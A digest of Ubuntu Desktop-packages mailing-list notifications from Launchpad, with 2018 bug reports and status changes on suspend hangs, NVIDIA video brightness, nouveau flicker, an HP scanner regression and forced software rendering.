date:20180520

[Expired for linux (Ubuntu) because there has been no activity for 60
days.]

** Changed in: linux (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1754425

Title:
  Lots of pcieport and nvme kernel errors - system non-responsive

Status in gnome-shell package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Expired

Bug description:
  If I open the lid, it seems that the computer flat-out doesn't wake
  up. HOWEVER, if I wait patiently more than 20 seconds, and press (not
  hold) the power button, SOMETIMES, the computer will "snap out of it"
  and come back to my desktop. Although RAM is 25% used, and CPU usage
  is around 25-50% or less (depending on apps), mouse will regularly
  freeze up for some seconds every 10 seconds or so. Wifi will claim to
  be "on", but there aren't any networks in the "select network"
  dialogue. Turning wifi off and then on does not fix this problem. So
  I'll be in this terrifying state of non-responsive every few seconds
  computer, with no ability to reconnect to networks and report bug.

  I force restart. The first restart, upon login, will hang indefinitely
  on a purple screen with the cursor in the middle. I will have to force
  restart again. Upon 2nd restart, it will boot "normally".

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: gnome-shell 3.27.92-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Thu Mar  8 12:38:24 2018
  DisplayManager: gdm3
  InstallationDate: Installed on 2018-03-02 (5 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-shell
  UpgradeStatus: No upgrade log present (probably fresh install)
  --- 
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  tom1387 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2018-03-02 (10 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228)
  MachineType: Dell Inc. XPS 15 9560
  Package: linux (not installed)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed 
root=UUID=9ccc05c8-ea98-4229-a4d3-6d3a292df6df ro quiet splash 
acpi_rev_override=1 vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-10-generic N/A
   linux-backports-modules-4.15.0-10-generic  N/A
   linux-firmware 1.172
  Tags:  bionic
  Uname: Linux 4.15.0-10-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/25/2018
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.7.1
  dmi.board.name: 0JHP5H
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.7.1:bd01/25/2018:svnDellInc.:pnXPS159560:pvr:rvnDellInc.:rn0JHP5H:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: XPS
  dmi.product.name: XPS 15 9560
  dmi.sys.vendor: Dell Inc.
  --- 
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  tom1387 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2018-03-02 (10 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180228)
  MachineType: Dell Inc. XPS 15 9560
  Package: linux (not installed)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed 
root=UUID=9ccc05c8-ea98-4229-a4d3-6d3a292df6df ro quiet splash 
acpi_rev_override=1 vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-10-generic N/A
   linux-backports-modules-4.15.0-10-generic  N/A
   linux-firmware 1.172
  Tags:  bionic
  Uname: Linux 4.15.0-10-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/25/2018
  dmi.bios.vendor: Dell

[Desktop-packages] [Bug 1757301] Re: Brightness, contrast issues (possibly NVidia specific) in totem and VLC

[Expired for vlc (Ubuntu) because there has been no activity for 60
days.]

** Changed in: vlc (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to totem in Ubuntu.
https://bugs.launchpad.net/bugs/1757301

Title:
  Brightness, contrast issues (possibly NVidia specific) in totem and
  VLC

Status in totem package in Ubuntu:
  Expired
Status in vlc package in Ubuntu:
  Expired

Bug description:
  This issue pertains to a fresh install of Ubuntu 17.10 on a Dell
  Precision 5520 with NVidia 384.111-0ubuntu0.17.10.1 drivers installed.
  The NVidia drivers was installed using the Additional Drivers dialog.

  Videos, in both Totem (the default video player) and VLC, are quite
  dark. The NVidia settings do not provide the color correction controls
  I've seen with previous versions (possibly due to PRIME).

  If I open Totem's display preferences, and try to change any value for
  brightness, contrast, saturation, or hue, the video window goes
  completely black. Clicking the "Reset to Defaults" button restores the
  video playback. When the screen is black, subtitles and audio play as
  per normal.

  I traced this down to the package vdpau-va-driver not being installed
  on the system. I presume this is a missing dependency. I did have
  vdpau-driver-all:amd64 installed, but this is probably unrelated.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: totem 3.26.0-0ubuntu1
  ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13
  Uname: Linux 4.13.0-37-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Mar 21 13:32:28 2018
  ExecutablePath: /usr/bin/totem
  InstallationDate: Installed on 2018-03-15 (5 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1)
  ProcEnviron:
   XDG_RUNTIME_DIR=
   SHELL=/bin/bash
   LANGUAGE=en_NZ:en
   PATH=(custom, user)
   LANG=en_NZ.UTF-8
  SourcePackage: totem
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/totem/+bug/1757301/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1757301] Re: Brightness, contrast issues (possibly NVidia specific) in totem and VLC

[Expired for totem (Ubuntu) because there has been no activity for 60
days.]

** Changed in: totem (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to totem in Ubuntu.
https://bugs.launchpad.net/bugs/1757301

Title:
  Brightness, contrast issues (possibly NVidia specific) in totem and
  VLC

Status in totem package in Ubuntu:
  Expired
Status in vlc package in Ubuntu:
  Expired

Bug description:
  This issue pertains to a fresh install of Ubuntu 17.10 on a Dell
  Precision 5520 with NVidia 384.111-0ubuntu0.17.10.1 drivers installed.
  The NVidia drivers was installed using the Additional Drivers dialog.

  Videos, in both Totem (the default video player) and VLC, are quite
  dark. The NVidia settings do not provide the color correction controls
  I've seen with previous versions (possibly due to PRIME).

  If I open Totem's display preferences, and try to change any value for
  brightness, contrast, saturation, or hue, the video window goes
  completely black. Clicking the "Reset to Defaults" button restores the
  video playback. When the screen is black, subtitles and audio play as
  per normal.

  I traced this down to the package vdpau-va-driver not being installed
  on the system. I presume this is a missing dependency. I did have
  vdpau-driver-all:amd64 installed, but this is probably unrelated.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: totem 3.26.0-0ubuntu1
  ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13
  Uname: Linux 4.13.0-37-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Mar 21 13:32:28 2018
  ExecutablePath: /usr/bin/totem
  InstallationDate: Installed on 2018-03-15 (5 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1)
  ProcEnviron:
   XDG_RUNTIME_DIR=
   SHELL=/bin/bash
   LANGUAGE=en_NZ:en
   PATH=(custom, user)
   LANG=en_NZ.UTF-8
  SourcePackage: totem
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/totem/+bug/1757301/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1740865] Re: gnome-software (5) g_realloc → g_array_maybe_expand → g_array_set_size → g_byte_array_set_size → read_cb

2018-05-20 Thread Robert Ancell

The crash report shows snapd-glib trying to allocate 2.6G of memory...

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-software in Ubuntu.
https://bugs.launchpad.net/bugs/1740865

Title:
  gnome-software (5) g_realloc → g_array_maybe_expand → g_array_set_size
  → g_byte_array_set_size → read_cb

Status in gnome-software package in Ubuntu:
  Confirmed

Bug description:
  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
gnome-software.  This problem was most recently seen with package version 
3.26.3-2ubuntu1, the problem page at 
https://errors.ubuntu.com/problem/d94c431d27115bab216f9e1ea756f876e7cd933b 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker and are a software 
developer, you can request it at http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1740865/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1616469] Re: Languages do not always switch to "Japanese (Anthy)" properly when using top-bar switcher or keyboard shortcut

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: gnome-shell (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1616469

Title:
  Languages do not always switch to "Japanese (Anthy)" properly when
  using top-bar switcher or keyboard shortcut

Status in GNOME Shell:
  Confirmed
Status in Ubuntu GNOME:
  New
Status in gnome-shell package in Ubuntu:
  Confirmed

Bug description:
  I have recently noticed that when switching from languages such as
  "Russian" or "Arabic" to "Japanese (Anthy)", though seemingly never
  "English (UK)/(US)", that it doesn't properly switch and carries on
  typing whichever language it was that I was trying to change from. I
  have made a screencast of what I experience (sorry that it's a little
  slow and has a few issues such as where I accidentally brought up the
  find feature in gedit, twice):

  Strange_Anthy_Language_Switching_Bug.mp4

  And as said in my comment update:

  I have now also noticed that if I use the LeftShift+RightShift
  keyboard shortcut to switch between "English (UK)", "Russian", and
  "Japanese (Anthy)" that it switches fine to "Russian", however when it
  is displayed as being set to "Japanese (Anthy)" in the top bar, it
  still types only in Russian as it does when it is set to the previous
  option of "Russian". Though pressing it again will return it to
  "English (UK)".

  It doesn't appear to matter which language is before or after it, it
  will just take the form of whatever language is before it when
  switching using the keyboard shortcut which is rather annoying.

  I am running Ubuntu GNOME 16.04 with GNOME 3.20, but this issue is
  also present on Ubuntu GNOME 16.10 with GNOME 3.22.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gnome-shell/+bug/1616469/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver

Michael Schmitz:

1) To clarify, you tested the 64-bit variant (not 32-bit)?

2) Is using the nv driver still a usable WORKAROUND?


** Description changed:

  Binary package hint: xserver-xorg-video-nouveau
  
  Expectation: Default Xorg driver should work with no video artifacts.
  
  Observation: Bad screen flicker with default Xorg driver.
  
  Details: I installed the 10.04 beta from CD on Wednesday (incidentially,
  compliments for the smooth install). Already upon installation, the
  display did flicker badly whenever the CD was read or even the mouse
  moved. Flicker did already start at the initial splash screen. The
  system was fully responsive otherwise. On reboot post-installation, gdm
  came up OK but with the same flicker problems. The 'Monitors' control
  panel only offered the 2048x1536 resolution at 80 Hz with no other
  options. Tried to install and use one of the non-free nvidia drivers,
  this failed because the nouveau kernel module was loaded always and
  could not be unloaded (drm loads nouveau before framebuffer console
  init. as near as I can make out). With nvidia-current unable to load,
- the X server could not use the 'nvidia' driver. Switching xorg.conf to
- use the 'nv' driver results in a much better screen display (only
- occasional flicker) although the driver only supports 2048x1536 at 60
- Hz. 1600x1200@85 Hz is useable.
+ the X server could not use the 'nvidia' driver.
  
  Kernel message buffer excerpt:
  [4.777915] [drm] Initialized drm 1.1.0 20060810
  [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22
  [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 
(level, low) -> IRQ 22
  [4.807783] nouveau :00:0d.0: setting latency timer to 64
  [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5
  [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card 
(0x04c000a2)
  [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image from 
PROM
  [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found
  [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image from 
PRAMIN
  [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid
  [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found
  [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28
  [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found
  [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration Block 
version 3.0
  [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 
10 2
  [4.854571] [drm] nouveau :00:0d.0:   0: 0x: type 0x00 idx 0 
tag 0xff
  [4.854573] [drm] nouveau :00:0d.0:   1: 0x1131: type 0x31 idx 1 
tag 0x07
  [4.854575] [drm] nouveau :00:0d.0:   2: 0x0110: type 0x10 idx 1 
tag 0xff
  [4.854577] [drm] nouveau :00:0d.0:   3: 0x0111: type 0x11 idx 1 
tag 0xff
  [4.854579] [drm] nouveau :00:0d.0:   4: 0x0113: type 0x13 idx 1 
tag 0xff
  [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 0023
  [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 942b0003
  [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at 
offset 0xD9C9
  [4.854591] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D 
===
  [4.854648] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D 
===
  [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at 
offset 0xDB17
  [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at 
offset 0xDB18
  [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at 
offset 0xDC9A
  [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at 
offset 0xDCE3
  [4.861274] lp0: using parport0 (interrupt-driven).
  [4.865006] [TTM] Zone  kernel: Available graphics memory: 444292 kiB.
  [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB.
  [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM
  [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture)
  [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO number 0
  [4.868891] [drm] nouveau :00:0d.0: nouveau_channel_alloc: initialised 
FIFO 0
  [4.868896] [drm] nouveau :00:0d.0: Initial CRTC_OWNER is 0
  [4.868901] [drm] nouveau :00:0d.0: Saving VGA fonts
  [4.908706] [drm] nouveau :00:0d.0: DCB type 4 not known
  [4.908710] [drm] nouveau :00:0d.0: Detected a VGA connector
  [4.909936] [drm] nouveau :00:0d.0: Setting dpms mode 3 on vga encoder 
(output 0)
  [5.037394] [drm] nouveau :00:0d.0: allocated 2048x1536 fb: 0x49000, 
bo f67bb400
  [5.037515] fb0: nouveaufb frame buffer device
  [5.037517] registered panic notifier
  [5.037523] [drm] Initialized nouveau 0.0.15 20090420 for :00:0d.0 on 
minor 0
  [5.037985] ACPI: PCI Interrupt

Re: [Desktop-packages] [Bug 549256] Re: [GeForce 7025 / nForce 630a] video flicker on any I/O activity with nouveau; OK with nv driver

2018-05-20 Thread Michael Schmitz

Hi Christopher,

still the same problem as before.

Cheers,

Michael


Am 18.05.2018 um 16:58 schrieb Christopher M. Penalver:
> Michael Schmitz, to confirm this is still a problem in Ubuntu, could you
> please test http://cdimage.ubuntu.com/daily-live/current/ and advise to
> the results?
> 
> ** Project changed: nouveau => xserver-xorg-video-nouveau (Ubuntu)
> 
> ** Changed in: xserver-xorg-video-nouveau (Ubuntu)
>Status: New => Incomplete
> 
> ** Changed in: xserver-xorg-video-nouveau (Ubuntu)
>Importance: Undecided => Low
> 
> ** Tags removed: needs-apport-collect
>

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xserver-xorg-video-nouveau in Ubuntu.
https://bugs.launchpad.net/bugs/549256

Title:
  [GeForce 7025 / nForce 630a] video flicker on any I/O activity with
  nouveau; OK with nv driver

Status in xserver-xorg-video-nouveau package in Ubuntu:
  Incomplete

Bug description:
  Binary package hint: xserver-xorg-video-nouveau

  Expectation: Default Xorg driver should work with no video artifacts.

  Observation: Bad screen flicker with default Xorg driver.

  Details: I installed the 10.04 beta from CD on Wednesday
  (incidentially, compliments for the smooth install). Already upon
  installation, the display did flicker badly whenever the CD was read
  or even the mouse moved. Flicker did already start at the initial
  splash screen. The system was fully responsive otherwise. On reboot
  post-installation, gdm came up OK but with the same flicker problems.
  The 'Monitors' control panel only offered the 2048x1536 resolution at
  80 Hz with no other options. Tried to install and use one of the non-
  free nvidia drivers, this failed because the nouveau kernel module was
  loaded always and could not be unloaded (drm loads nouveau before
  framebuffer console init. as near as I can make out). With nvidia-
  current unable to load, the X server could not use the 'nvidia'
  driver. Switching xorg.conf to use the 'nv' driver results in a much
  better screen display (only occasional flicker) although the driver
  only supports 2048x1536 at 60 Hz. 1600x1200@85 Hz is useable.

  Kernel message buffer excerpt:
  [4.777915] [drm] Initialized drm 1.1.0 20060810
  [4.807773] ACPI: PCI Interrupt Link [LMC9] enabled at IRQ 22
  [4.807779] nouveau :00:0d.0: PCI INT A -> Link[LMC9] -> GSI 22 
(level, low) -> IRQ 22
  [4.807783] nouveau :00:0d.0: setting latency timer to 64
  [4.809992] [drm] nouveau :00:0d.0: failed to evaluate _DSM: 5
  [4.810217] [drm] nouveau :00:0d.0: Detected an NV40 generation card 
(0x04c000a2)
  [4.810513] [drm] nouveau :00:0d.0: Attempting to load BIOS image from 
PROM
  [4.810519] [drm] nouveau :00:0d.0: ... BIOS signature not found
  [4.810520] [drm] nouveau :00:0d.0: Attempting to load BIOS image from 
PRAMIN
  [4.854556] [drm] nouveau :00:0d.0: ... appears to be valid
  [4.854559] [drm] nouveau :00:0d.0: BIT BIOS found
  [4.854561] [drm] nouveau :00:0d.0: Bios version 05.61.32.28
  [4.854563] [drm] nouveau :00:0d.0: BIT table 'd' not found
  [4.854565] [drm] nouveau :00:0d.0: Found Display Configuration Block 
version 3.0
  [4.854568] [drm] nouveau :00:0d.0: DCB connector table: VHER 0x30 5 
10 2
  [4.854571] [drm] nouveau :00:0d.0:   0: 0x: type 0x00 idx 0 
tag 0xff
  [4.854573] [drm] nouveau :00:0d.0:   1: 0x1131: type 0x31 idx 1 
tag 0x07
  [4.854575] [drm] nouveau :00:0d.0:   2: 0x0110: type 0x10 idx 1 
tag 0xff
  [4.854577] [drm] nouveau :00:0d.0:   3: 0x0111: type 0x11 idx 1 
tag 0xff
  [4.854579] [drm] nouveau :00:0d.0:   4: 0x0113: type 0x13 idx 1 
tag 0xff
  [4.854581] [drm] nouveau :00:0d.0: Raw DCB entry 0: 01000310 0023
  [4.854583] [drm] nouveau :00:0d.0: Raw DCB entry 1: 00110204 942b0003
  [4.854588] [drm] nouveau :00:0d.0: Parsing VBIOS init table 0 at 
offset 0xD9C9
  [4.854591] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D 
===
  [4.854648] [drm] nouveau :00:0d.0: === misaligned reg 0x0060081D 
===
  [4.854748] [drm] nouveau :00:0d.0: Parsing VBIOS init table 1 at 
offset 0xDB17
  [4.854749] [drm] nouveau :00:0d.0: Parsing VBIOS init table 2 at 
offset 0xDB18
  [4.854799] [drm] nouveau :00:0d.0: Parsing VBIOS init table 3 at 
offset 0xDC9A
  [4.854803] [drm] nouveau :00:0d.0: Parsing VBIOS init table 4 at 
offset 0xDCE3
  [4.861274] lp0: using parport0 (interrupt-driven).
  [4.865006] [TTM] Zone  kernel: Available graphics memory: 444292 kiB.
  [4.865009] [TTM] Zone highmem: Available graphics memory: 448232 kiB.
  [4.865018] [drm] nouveau :00:0d.0: 128 MiB VRAM
  [4.865912] [drm] nouveau :00:0d.0: 64 MiB GART (aperture)
  [4.868624] [drm] nouveau :00:0d.0: Allocating FIFO

[Desktop-packages] [Bug 1772348] Re: HP Laserjet M1212nf MFP also affected

2018-05-20 Thread SmilingInSeattle

This should probably be added to Bug# 1728012 ("Many 3rd party scanner
drivers are broken by a sane change")Many scanners Many scanners

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to sane-backends in Ubuntu.
https://bugs.launchpad.net/bugs/1772348

Title:
  HP Laserjet M1212nf MFP also affected

Status in sane-backends package in Ubuntu:
  New

Bug description:
  Scanimage -L returns:

  device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a 
Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one
as it always has when it was working.

  Had the same problem in the beginning with Ubuntu 17.04, but then
  somewhere along the correction stream it got magically "fixed" and
  started working with simple-scan as well as xsane.

  Using a dual boot to the current version allowed by the ARCH
  developers, the scanner has, and still does, work.  I do a pacman -Syu
  on ARCH at least once a week, so I can attest to  the "current"
  version of ARCH.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772348] Re: HP Laserjet M1212nf MFP also affected

2018-05-20 Thread SmilingInSeattle

Correction:  ...I had the same problem with Ubuntu 17.10...

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to sane-backends in Ubuntu.
https://bugs.launchpad.net/bugs/1772348

Title:
  HP Laserjet M1212nf MFP also affected

Status in sane-backends package in Ubuntu:
  New

Bug description:
  Scanimage -L returns:

  device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a 
Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one
as it always has when it was working.

  Had the same problem in the beginning with Ubuntu 17.04, but then
  somewhere along the correction stream it got magically "fixed" and
  started working with simple-scan as well as xsane.

  Using a dual boot to the current version allowed by the ARCH
  developers, the scanner has, and still does, work.  I do a pacman -Syu
  on ARCH at least once a week, so I can attest to  the "current"
  version of ARCH.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772348] [NEW] HP Laserjet M1212nf MFP also affected

2018-05-20 Thread SmilingInSeattle

Public bug reported:

Scanimage -L returns:

device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a 
Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one
  as it always has when it was working.

Had the same problem in the beginning with Ubuntu 17.04, but then
somewhere along the correction stream it got magically "fixed" and
started working with simple-scan as well as xsane.

Using a dual boot to the current version allowed by the ARCH developers,
the scanner has, and still does, work.  I do a pacman -Syu  on ARCH at
least once a week, so I can attest to  the "current" version of ARCH.

** Affects: sane-backends (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to sane-backends in Ubuntu.
https://bugs.launchpad.net/bugs/1772348

Title:
  HP Laserjet M1212nf MFP also affected

Status in sane-backends package in Ubuntu:
  New

Bug description:
  Scanimage -L returns:

  device `hpaio:/net/HP_LaserJet_Professional_M1212nf_MFP?zc=NPI6A5943' is a 
Hewlett-Packard HP_LaserJet_Professional_M1212nf_MFP all-in-one
as it always has when it was working.

  Had the same problem in the beginning with Ubuntu 17.04, but then
  somewhere along the correction stream it got magically "fixed" and
  started working with simple-scan as well as xsane.

  Using a dual boot to the current version allowed by the ARCH
  developers, the scanner has, and still does, work.  I do a pacman -Syu
  on ARCH at least once a week, so I can attest to  the "current"
  version of ARCH.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1772348/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1770913] Re: Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo P8600 / GMA 4500MHD)

2018-05-20 Thread MegaBrutal

How can I switch to Wayland? Contrary to the articles those tell
otherwise, I have no option to select it on the login screen.

Anyway, 17.10 worked fine with Wayland, so switching back to Wayland
might probably help.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1770913

Title:
  Software rendering is forced after 18.04 upgrade (Intel Core 2 Duo
  P8600 / GMA 4500MHD)

Status in mesa package in Ubuntu:
  New
Status in xorg-server package in Ubuntu:
  New

Bug description:
  After upgrading to Ubuntu 18.04, my desktop uses software rendering, no 
matter what I do.
  As far as I know, all necessary packages are installed.
  Formerly I had oibaf installed, but suspecting that this may cause the 
problem, I removed it with ppa-purge. It didn't help.

  First I noticed the problem when I tried to play HD videos.
  It was fine before the upgrade. My hardware is capable for 3D acceleration, 
as it worked on 17.10.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xserver-xorg-video-intel 2:2.99.917+git20171229-1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  .tmp.unity_support_test.1:
   
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 13 06:13:09 2018
  DistUpgraded: 2018-05-12 22:26:52,663 DEBUG Running PostInstallScript: 
'./xorg_fix_proprietary.py'
  DistroCodename: bionic
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller 
[8086:2a42] (rev 07) (prog-if 00 [VGA controller])
 Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller 
[17aa:20e4]
 Subsystem: Lenovo Mobile 4 Series Chipset Integrated Graphics Controller 
[17aa:20e4]
  InstallationDate: Installed on 2014-06-10 (1432 days ago)
  InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417)
  MachineType: LENOVO 6474B84
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=hu_HU.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-20-generic 
root=/dev/mapper/thinkvg-rootlv ro rootflags=subvol=@
  Renderer: Software
  SourcePackage: xserver-xorg-video-intel
  UpgradeStatus: Upgraded to bionic on 2018-05-12 (0 days ago)
  dmi.bios.date: 10/17/2012
